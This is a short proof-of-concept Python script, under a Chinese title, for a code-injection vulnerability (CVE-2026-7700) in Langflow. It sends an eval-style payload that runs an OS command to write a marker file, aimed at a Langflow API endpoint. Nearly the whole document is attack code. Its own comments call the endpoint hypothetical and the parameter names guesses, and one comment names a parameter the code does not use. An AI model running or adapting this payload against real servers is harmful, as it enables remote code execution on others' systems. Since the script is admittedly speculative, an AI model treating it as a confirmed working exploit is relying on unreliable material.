CVE-2026-7700 Langflow代码注入漏洞

# PoC for CVE-2026-7700: Langflow Code Injection import requests # Target URL (Hypothetical endpoint based on vulnerability) target_url = "http://<target-ip>:<port>/api/v1/components/lambda_filter" # Malicious payload to execute OS commands using eval() # This payload attempts to create a file as proof of execution payload = "__import__('os').system('echo CVE-2026-7700 > /tmp/pwned')" # Construct the payload data # The parameter name 'expression' is an example; actual parameter depends on implementation data = { "code": payload, "component_id": "LambdaFilterComponent" } headers = { "Content-Type": "application/json" } try: response = requests.post(target_url, json=data, headers=headers, timeout=10) print(f"[+] Request sent to {target_url}") print(f"[+] Status Code: {response.status_code}") if response.status_code == 200: print("[+] Payload potentially executed. Check target system.") else: print("[-] Request failed or blocked.") except Exception as e: print(f"[-] An error occurred: {e}")